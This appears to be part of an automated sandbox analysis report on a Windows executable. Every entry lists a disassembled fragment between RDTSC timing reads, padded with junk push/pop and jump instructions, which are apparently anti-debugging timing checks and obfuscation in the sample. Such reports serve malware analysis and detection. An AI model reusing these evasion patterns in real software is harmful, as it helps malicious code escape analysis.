Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF051D second address: FF052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F672053310Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF052A second address: FD5B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov cx, dx 0x00000009 call dword ptr [ebp+122D2D25h] 0x0000000f jc 00007F67208644DEh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF05EA second address: FF05F4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0AAB second address: FF0AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0C7B second address: FF0C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0C86 second address: FF0C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0DB1 second address: FF0DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0DC0 second address: FF0DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0DC4 second address: FF0DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0DC8 second address: FF0DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0DD1 second address: FF0DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jnp 00007F672053310Eh 0x0000000e jbe 00007F6720533108h 0x00000014 push edi 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1017 second address: FF101B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF101B second address: FF1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F6720533108h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 or di, 8DB8h 0x00000015 or ecx, 5EA925C3h 0x0000001b push 00000004h 0x0000001d mov dword ptr [ebp+122D22F6h], edi 0x00000023 nop 0x00000024 jo 00007F6720533118h 0x0000002a jmp 00007F6720533112h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 pop ecx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF146C second address: FF1470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1767 second address: FF176C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF176C second address: FF1772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1772 second address: FF1786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F6720533106h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF17D2 second address: FF17DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F67208644C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF17DC second address: FF1823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D1CC8h], ebx 0x00000011 lea eax, dword ptr [ebp+1248226Dh] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F6720533108h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 nop 0x00000032 pushad 0x00000033 push esi 0x00000034 je 00007F6720533106h 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push ecx 0x0000003e pop ecx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1823 second address: FF1837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnc 00007F67208644C6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1837 second address: FF183D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D17D second address: 102D181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D30B second address: 102D30F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D30F second address: 102D31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F67208644CAh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D31F second address: 102D33A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6720533112h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D470 second address: 102D47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F67208644C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D47B second address: 102D481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D481 second address: 102D485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D485 second address: 102D48F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D48F second address: 102D495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D495 second address: 102D499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D6F4 second address: 102D6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D6F8 second address: 102D70A instructions: 0x00000000 rdtsc 0x00000002 js 00007F6720533106h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D70A second address: 102D71A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F67208644C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D71A second address: 102D71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DB5C second address: 102DB68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F67208644C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DB68 second address: 102DB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032FFC second address: 1033008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F67208644C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033008 second address: 103300C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033134 second address: 103313A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103313A second address: 1033157 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F672053310Dh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033743 second address: 1033754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033754 second address: 103375A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103375A second address: 1033760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033760 second address: 103378D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F6720533112h 0x0000000e jns 00007F6720533106h 0x00000014 jc 00007F6720533106h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push edx 0x0000001d jmp 00007F672053310Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033D1B second address: 1033D2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F67208644D4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033D2D second address: 1033D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037095 second address: 10370B4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F67208644C6h 0x00000008 jmp 00007F67208644D5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10370B4 second address: 10370B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10370B9 second address: 10370F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F67208644D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e jmp 00007F67208644CDh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 push edi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f push esi 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10370F3 second address: 10370FD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10369BE second address: 10369D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c jg 00007F67208644CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036DD6 second address: 1036DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6720533110h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036DEF second address: 1036DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10396D6 second address: 103970C instructions: 0x00000000 rdtsc 0x00000002 js 00007F6720533108h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F6720533112h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6720533116h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103970C second address: 1039713 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB48BC second address: FB48C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jp 00007F6720533106h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB48C9 second address: FB48D8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F67208644CAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC306 second address: FAC315 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6720533106h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC315 second address: FAC328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F67208644CAh 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EA6D second address: 103EA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F672053310Eh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EA82 second address: 103EAB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F67208644CBh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F67208644D5h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ecx 0x00000016 jl 00007F67208644C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EE31 second address: 103EE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1266 second address: FF12D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F67208644C6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jne 00007F67208644D8h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F67208644C8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push 00000004h 0x00000032 push esi 0x00000033 mov edi, dword ptr [ebp+122D2910h] 0x00000039 pop edx 0x0000003a nop 0x0000003b jmp 00007F67208644D4h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 je 00007F67208644C8h 0x00000049 push esi 0x0000004a pop esi 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF12D9 second address: FF12DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF12DF second address: FF12E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF12E3 second address: FF12E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F114 second address: 103F12E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F67208644D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F12E second address: 103F174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6720533117h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6720533112h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F174 second address: 103F178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F178 second address: 103F17E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FD88 second address: 103FD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FD8E second address: 103FD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FD95 second address: 103FDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F67208644D6h 0x00000009 jmp 00007F67208644CCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FDBB second address: 103FDC5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6720533106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043F44 second address: 1043F4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043F4A second address: 1043F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6720533106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043477 second address: 104347B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10438EA second address: 1043903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6720533115h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043903 second address: 1043907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043907 second address: 104392E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F672053311Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104392E second address: 1043934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043934 second address: 104393A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104393A second address: 1043957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F67208644CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043957 second address: 104395D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104395D second address: 1043961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10464FD second address: 104651E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533110h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F672053310Bh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046645 second address: 1046649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046A6F second address: 1046A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046A75 second address: 1046A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046A79 second address: 1046A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F672053310Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046A8B second address: 1046AB8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F67208644DFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F67208644E9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050EAB second address: 1050EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104ED9E second address: 104EDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EDA2 second address: 104EDBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F672053310Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f popad 0x00000010 pushad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EF36 second address: 104EF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
